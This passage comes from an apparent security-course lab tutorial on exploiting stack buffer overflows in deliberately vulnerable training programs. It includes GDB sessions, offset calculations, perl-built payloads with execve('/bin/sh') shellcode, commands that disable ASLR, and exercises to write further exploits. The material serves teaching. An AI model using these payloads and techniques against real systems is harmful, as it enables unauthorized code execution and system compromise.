0xffffd2bc:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffd2c4:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
gdb-peda$ continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7f9d000 --> 0x1a5da8 
ECX: 0xffffd580 --> 0x58004141 ('AA')
EDX: 0xffffd2dc --> 0xf7004141 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd2d8 ("AAAAAA")
ESP: 0xffffd29c --> 0x8048525 (<main+98>:	mov    eax,0x0)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd29c --> 0x8048525 (<main+98>:	mov    eax,0x0)
0004| 0xffffd2a0 --> 0x0 
0008| 0xffffd2a4 --> 0xca0000 
0012| 0xffffd2a8 --> 0x1 
0016| 0xffffd2ac ('A' <repeats 50 times>)
0020| 0xffffd2b0 ('A' <repeats 46 times>)
0024| 0xffffd2b4 ('A' <repeats 42 times>)
0028| 0xffffd2b8 ('A' <repeats 38 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ 

In the above GDB output we've used breakpoints to break right before and after the calling of the strcpy() function. We see that 50 bytes from the buffer address (using x/50b buffer) are random before strcpy() and filled with A (0x41) afterward. From the GDB output we now know we overflow the buffer and also the func_ptr function pointer. We know we overwrite quite a bunch of stuff since we also overwrite the main() function arguments:

    argc=<error reading variable: Cannot access memory at address 0x41414141>, 
    argc@entry=<error reading variable: Cannot access memory at address 0x4141413d>, 
    argv=<error reading variable: Cannot access memory at address 0x41414145>, 
    argv@entry=<error reading variable: Cannot access memory at address 0x4141413d>) at vuln.c:22

Of course, our aim is to do a carefully crafted to write func_ptr with exactly the value we want, that is the address of the shellcode global variable. In order to do that we need to precisely know where func_ptr is located with respect to buffer. Let's assume that difference is d (d = &func_ptr - &buffer). Our goal would be to write in the buffer d bytes followed by the address of the shellcode variable. So we will provide a string of d+4 length as the program argument.

Our steps for this to happen are:

1. Find out the difference between func_ptr and buffer. Let's call it d.
2. Find out the hexadecimal address of shellcode.
3. Create a byte string of d+4 bytes consisting of d bytes of A (just a padding) and then the 4 bytes for the address of shellcode.

In order to compute the difference between func_ptr and buffer we need to use dynamic analysis (GDB) as the two variables are stored on the stack:

$ gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ start
[...]
gdb-peda$ p &func_ptr
$1 = (void (**)(void)) 0xffffd2fc
gdb-peda$ p &buffer
$2 = (char (*)[32]) 0xffffd2dc

In the run above, the two variables are 0xffffd2fc' and 0xffffd2dc. It may be different on another run. The difference is 0x20 meaning 32:

$ python -c 'print 0xffffd2fc-0xffffd2dc'
32

This was expected since the buffer stores 32 characters. However, this needn't always be the case and you need to make sure of that by (dynamic) analysis, such as the one we did with GDB.

So, d (the difference) is 32.

To find out the address of the shellcode variable we use static analysis, since the variable is global and stored in the .rodata section of the executable. We use nm for that:

$ nm vuln | grep shellcode
080485d0 r shellcode

So the address of shellcode that we aim to use to overwrite the func_ptr function pointer is 0x080485d0.

We now construct the d+4 (32+4=36) byte string to feed as the first program argument. We use perl for that:

$ perl -e 'print "A"x32,"\xd0\x85\x04\x08"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЅ
                            ....
$ perl -e 'print "A"x32,"\xd0\x85\x04\x08"' | od -t x4
0000000 41414141 41414141 41414141 41414141
*
0000040 080485d0

We see that we are generating the proper byte string, filling the buffer with A characters and then using the 4 byte address of shellcode (\xd0\x85\x04\x08) to overwrite the func_ptr.

Let's pass that string as the first argument using shell command substitution and profit:

$ ./vuln $(perl -e 'print "A"x32,"\xd0\x85\x04\x08"')
$ 

Excellent, we've got a shell! We've now got closer to what an attack really looks like, the trigger step happening with the help of a buffer overflow cause by the strcpy() function.

Let's now get to the next step towards making the attack more realistic. We would rarely have the benefit of a function pointer (such as func_ptr) being conveniently placed after a buffer in memory. What we usually aim to do is overwrite the function return address, point that to the shellcode (in our case the shellcode variable) and profit!

Inside the 06-challenge-overwrite-return-address/ subfolder in the tasks archive you will find a vulnerable source code file (vuln.c). This file has a buffer overflow vulnerability through the call of strcpy() inside the do_nothing_successfully() function.

Exploit this vulnerability by causing a buffer overflow of the buffer variable and overwriting the return address of the do_nothing_successfully() function to point to the shellcode (i.e. the address of the shellcode variable).

Passing information as a program argument is one of the way to provide input to the vulnerable program. Another way is through standard input. Let's use standard input to cause a buffer overflow and run the shellcode (again inside the shellcode variable).

Inside the 07-challenge-use-standard-input/ subfolder in the tasks archive you will find a vulnerable source code file (vuln.c) with a similar vulnerability to the one above: the use of strcpy() to cause a buffer overflow inside the do_nothing_successfully() function. There are several differences:

• the initial data is now read from standard input using fgets()
• the buffer we are going to overwrite is now 70 characters long
• we've added an extra local variable before the buffer to make it a bit more challenging to determine the return address

Similarly to the task above, exploit the vulnerability by causing a buffer overflow of the buffer variable and overwriting the return address of the do_nothing_successfully() function to point to the shellcode (i.e. the address of the shellcode variable).

perl -e 'print "A"x50...' | ./vuln

cat <(perl -e 'print "A"x50...') - | ./vuln

Now that we know how to cause a buffer overflow and trigger the execution of the shellcode, let's make another step into making things more realistic by injecting the shellcode into the program. Up until now the shellcode was conveniently stored in the shellcode variable, which is fairly unrealistic.

Inside the 07-challenge-fill-global-variable/ subfolder in the tasks archive we have the vuln.c program that we want to exploit. Our aim is to inject and store the shellcode in the resident_data global variable. The shellcode will be stored in the resident_data global variable, while the attack payload (consisting of the A byte padding and the address of the resident_data variable) will be stored in the input_buffer variable and the in the buffer variable; both are provided through standard input.

Similarly to the task above, exploit the vulnerability by injecting the shellcode through stadard input in the resident_data global variable, causing a buffer overflow of the buffer variable and overwriting the return address of the do_nothing_successfully() function to point to the shellcode (i.e. the address of the resident_data global variable).

In the above task we were in luck that we had two buffers and both were filled by feeding input to the vulnerable program (in our case, through standard input). But that's not usually the case. Let's consider the situation where the resident_data buffer is not part of our program. Could an attack be possible? Yes, of course: we can use the input_buffer variable both for storing the shellcode and the payload for causing the buffer overflow. This data will then be copied to the buffer variable and we'll profit!

In the 08-tutorial-shellcode-in-stack-buffer/ subfolder in the tasks archive the vuln.c program has the strcpy()-based vulnerability identical to the above tasks but no “helper” buffer. We'll have to use the buffer variable both for storing the shellcode and the payload for causing the buffer overflow.

In short, we'll have to get to a situation where we overwrite the return address of do_nothing_successfully() function with the start address of the buffer variable, such that we'll execute code from the buffer variable. The contents of the buffer variable will start with the shellcode we've used so far. We'll feed that as input to the buffer.

The steps we are going to undertake are:

1. Find out d, the difference between the start of the buffer and the return address to know how to to trigger the buffer overflow. It should be identical to the one in the tasks above, but it's always good to be sure. We'll use GDB for this.
2. Find out what is the address of the buffer variable on the stack. We'll use GDB for this as well.
3. Create a payload that consists of the following:
   1. n bytes of shellcode (where n is the length of the shellcode)
   2. d-n bytes of A padding (where d is the above difference)
   3. 4 bytes storing the address of the buffer variable (on the stack)
4. Store the payload in a file (we'll name it payload) as it will be easier to inspect it afterwards.
5. Feed the payload as standard input to the program using a construction such as

   cat payload - | ./vuln

First of all, let's find out the difference between the buffer' variable and address of the return address in the the do_nothing_successfully() function stack frame. We'll use GDB for that, get to the point before invoking strcpy() call (in the do_nothing_successfully() function) by using a breakpoint and then print the address of the buffer variable and the address where the return address is stored.

$ gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ start
[...]

gdb-peda$ disass do_nothing_successfully 
Dump of assembler code for function do_nothing_successfully:
   0x0804847b <+0>:	push   ebp
   0x0804847c <+1>:	mov    ebp,esp
   0x0804847e <+3>:	sub    esp,0x58
   0x08048481 <+6>:	mov    DWORD PTR [ebp-0xc],0x3
   0x08048488 <+13>:	sub    esp,0x8
   0x0804848b <+16>:	push   DWORD PTR [ebp+0x8]
   0x0804848e <+19>:	lea    eax,[ebp-0x52]
   0x08048491 <+22>:	push   eax
   0x08048492 <+23>:	call   0x8048350 <strcpy@plt>
   0x08048497 <+28>:	add    esp,0x10
[...]

gdb-peda$ b *0x08048492
Breakpoint 2 at 0x8048492: file vuln.c, line 10.
gdb-peda$ continue
Continuing.
Provide input data: aaaa
[...]
Breakpoint 2, 0x08048492 in do_nothing_successfully (str=0xffffd280 "aaaa\n")
    at vuln.c:10
10		strcpy(buffer, str);

gdb-peda$ p &buffer
$1 = (char (*)[70]) 0xffffd216

gdb-peda$ p $ebp+4
$2 = (void *) 0xffffd26c
gdb-peda$ 

In GDB we've printed the address of the local buffer variable and the address where the return address is stored ($ebp+4). These addresses may be different on your system. We'll compute the difference using Python:

$ python -c 'print 0xffffd26c-0xffffd216'
86

As before, the difference is 86 bytes. We need to create a payload of 86+4 bytes to overwrite the return address in the do_nothing_successfully() stack frame.

We already found out the address of the buffer variable as well: 0xffffd216. So we're ready to create our payload. As stated above the payload will consist of:

1. n bytes of shellcode (where n is the length of the shellcode)
2. d-n bytes of A padding (where d is the above difference)
3. 4 bytes storing the address of the buffer variable (on the stack)

Our shellcode is the one we've already used. Let's find out its length:

$ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' | wc -c
25

So our payload will consist of 90 bytes:

1. 25 bytes of shellcode
2. 86-25 = 61 bytes of A padding
3. 4 bytes storing the address of the buffer variable (\x16\xd2\xff\xff)

Let's create the payload and store it in a file named payload:

$ perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","A"x61,"\x16\xd2\xff\xff\n"' > payload

$ wc -c payload 
91 payload

$ xxd payload 
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
00000010: 5389 e131 d2b0 0bcd 8041 4141 4141 4141  S..1.....AAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 16d2 ffff 0a              AAAAAA.....

So the payload file now stores our payload and we can feed it to the vulnerable program.

We send the payload to the standard input of the vuln program:

$ cat payload - | ./vuln 
ps
Segmentation fault

We get a segmentation fault, something went wrong. Let's check what caused the error, maybe we didn't properly construct they payload and jumped to a different address:

$ dmesg
[...]
[144777.383326] vuln[15245]: segfault at ffffd216 ip 00000000ffffd216 sp 00000000ffb71620 error 14

Nope. The address where segmentation fault occurred is OK; it's the buffer address 0xffffd216.

Let's investigate in GDB what happens by feeding the same data to the standard input of the vuln program:

$ gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ run < payload
Starting program: [...]/shellcode-in-stack-buffer/vuln < payload
process 26482 is executing new program: /bin/dash
[...]

This is weird. The exploit works under GDB. There must be something different between the two environments: running in GDB and without GDB.

There are actually two aspects:

1. ASLR (Address Space Layout Randomization) is disabled in GDB versions starting with 7. See this link for more information.
2. The environment is different and because of that the address itself may be different GDB.

First of all we need to disable ASLR. We have two ways to do that:

1. system-wide (administrative privileges are required):

   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

2. for a shell process only

   $ linux32 -3 -R bash -l

If ASLR is enabled dynamic memory areas will be placed in different locations. We can use ldd to inspect the placing of library memory areas

$ ldd vuln
	linux-gate.so.1 (0xf77a1000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75bd000)
	/lib/ld-linux.so.2 (0xf77a4000)
$ ldd vuln
	linux-gate.so.1 (0xf76e4000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7500000)
	/lib/ld-linux.so.2 (0xf76e7000)
$ ldd vuln
	linux-gate.so.1 (0xf77c9000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75e5000)
	/lib/ld-linux.so.2 (0xf77cc000)

In the above situation ASLR is enabled as the addresses for library functions differs at each ldd run.

After we disable ASLR (using any of the above two methods), we can see that the addresses for library functions are identical for each ldd run:

$ ldd vuln
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)
$ ldd vuln
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)
$ ldd vuln
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)

$ gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ aslr
ASLR is OFF

gdb-peda$ show disable-randomization 
Disabling randomization of debuggee's virtual address space is on.

gdb-peda$ set disable-randomization off

gdb-peda$ show disable-randomization 
Disabling randomization of debuggee's virtual address space is off.

gdb-peda$ aslr
ASLR is ON

Let's now also use the same environment for GDB and for the program. In order to do that we need to clear the environment using the env command with the -i option that clears the environment. Let's run the program in GDB with the cleared environment:

$ env -i gdb -q ./vuln
Reading symbols from ./vuln...done.
(gdb) show env
LINES=23
COLUMNS=80
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
(gdb) disass do_nothing_successfully 
Dump of assembler code for function do_nothing_successfully:
   0x0804847b <+0>:	push   %ebp
   0x0804847c <+1>:	mov    %esp,%ebp
   0x0804847e <+3>:	sub    $0x58,%esp
   0x08048481 <+6>:	movl   $0x3,-0xc(%ebp)
   0x08048488 <+13>:	sub    $0x8,%esp
   0x0804848b <+16>:	pushl  0x8(%ebp)
   0x0804848e <+19>:	lea    -0x52(%ebp),%eax
   0x08048491 <+22>:	push   %eax
   0x08048492 <+23>:	call   0x8048350 <strcpy@plt>
   0x08048497 <+28>:	add    $0x10,%esp
   0x0804849a <+31>:	movzbl -0x52(%ebp),%eax
   0x0804849e <+35>:	mov    %eax,%edx
   0x080484a0 <+37>:	sar    $0x7,%dl
   0x080484a3 <+40>:	shr    $0x5,%dl
   0x080484a6 <+43>:	add    %edx,%eax
   0x080484a8 <+45>:	and    $0x7,%eax
   0x080484ab <+48>:	sub    %edx,%eax
   0x080484ad <+50>:	movsbl %al,%eax
   0x080484b0 <+53>:	cmp    -0xc(%ebp),%eax
   0x080484b3 <+56>:	jne    0x80484b9 <do_nothing_successfully+62>
   0x080484b5 <+58>:	movb   $0x61,-0x52(%ebp)
---Type <return> to continue, or q <return> to quit---
   0x080484b9 <+62>:	leave  
   0x080484ba <+63>:	ret    
End of assembler dump.
(gdb) b *0x08048492
Breakpoint 1 at 0x8048492: file vuln.c, line 10.
(gdb) run    
Starting program: /home/razvan/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/shellcode-in-stack-buffer/vuln 
Provide input data: aaaa

Breakpoint 1, 0x08048492 in do_nothing_successfully (str=0xbffffcc0 "aaaa\n")
    at vuln.c:10
10		strcpy(buffer, str);
(gdb) p &buffer
$1 = (char (*)[70]) 0xbffffc56

So we now have a different address for the buffer variable: 0xbfffc56.

Let's try using that address for the payload:

$ perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","A"x61,"\x56\xfc\xff\xbf\n"' > payload
$ cat payload - | env -i ./vuln
ps
Segmentation fault
$ dmesg
[150008.596439] vuln[2964]: segfault at 1 ip 00000000bffffc56 sp 00000000bffffdd0 error 6

Unfortunately it still doesn't work so we will try a different approach.

The approach I used make use of the dmesg message that shows us the stack pointer (0xbffffdd0). That is the stack pointer after the return address is read. So if we know the difference between the function return address and the buffer (86) we can make use of that to discover the buffer address. When an error occurs the stack pointer, the ret instruction had just been executed and the return address has been popped off the stack. So the stack pointer now points to the address right after the return address (4 bytes more than the difference between the function address and the buffer). So we have a 86+4=90 bytes difference between the value of the stack pointer in case of an error and the address of the buffer. We compute the address of the buffer according to that

$ python -c 'print hex(0xbffffdd0-90)'
0xbffffd76

We found out the buffer address: 0xbffffd76. Let's reconstruct the payload and test our vulnerable executable:

$ perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","A"x61,"\x76\xfd\xff\xbf\n"' > payload
$ cat payload - | env -i ./vuln
ps
  PID TTY          TIME CMD
 2682 pts/1    00:00:01 bash
14783 pts/1    00:00:00 cat
14784 pts/1    00:00:00 sh
14796 pts/1    00:00:00 ps
19602 pts/1    00:00:08 bash

Yes, we've finally done it! We've found out the address of the buffer variable on the stack and used it to execute the shellcode.

Let's to a similar task as the one above. In the 08-challenge-shellcode-in-stack-buffer-2/ subfolder from the tasks archive there is a slightly updated vulnerable file. Use the same vulnerability as in the task above to obtain a shell.

Another way of working with strings is to declare them as data inside the shellcode. However, if you do this, you won't know their address at compile-time. You have to obtain the address at runtime by abusing the call instruction, like this:

        jmp str
back:
        pop ecx ; call pushes the return address on the stack, which in our case is precisely the string address
 
        ...
str:
        call back
        db 'Hello, world'

Write the shellcode that prints “Hello, world!” using this method.

Switch to the 10-challenge-known-buffer directory. You'll have to exploit the vulnerable binary found there and get a shell.

First, write a shellcode that runs execve(“/bin/sh”, [“sh”, NULL], NULL). Use the template found in the shellcode_template directory. Run make to compile the shellcode and make test to compile the test executable.

The complete exploit will go into the exploit.py file.

You'll first run the program under gdb and use it to inspect the addresses. You'll find the buffer address, then you'll use this address in the exploit.

For this to work, we have to assume that when you run the program the buffer address will be the same as the one you found with gdb. In general this is not true, but we can make it so by doing the following:

• you run the program using an absolute path, both when running normally and under gdb (so no “./vuln”, but /path/to/vuln)
• you run the program with an empty environment, using env -i (Example: $ env -i /path/to/vuln)
• when running under gdb you also run with an empty environment, by running “set exec-wrapper env -i” before executing the “run” command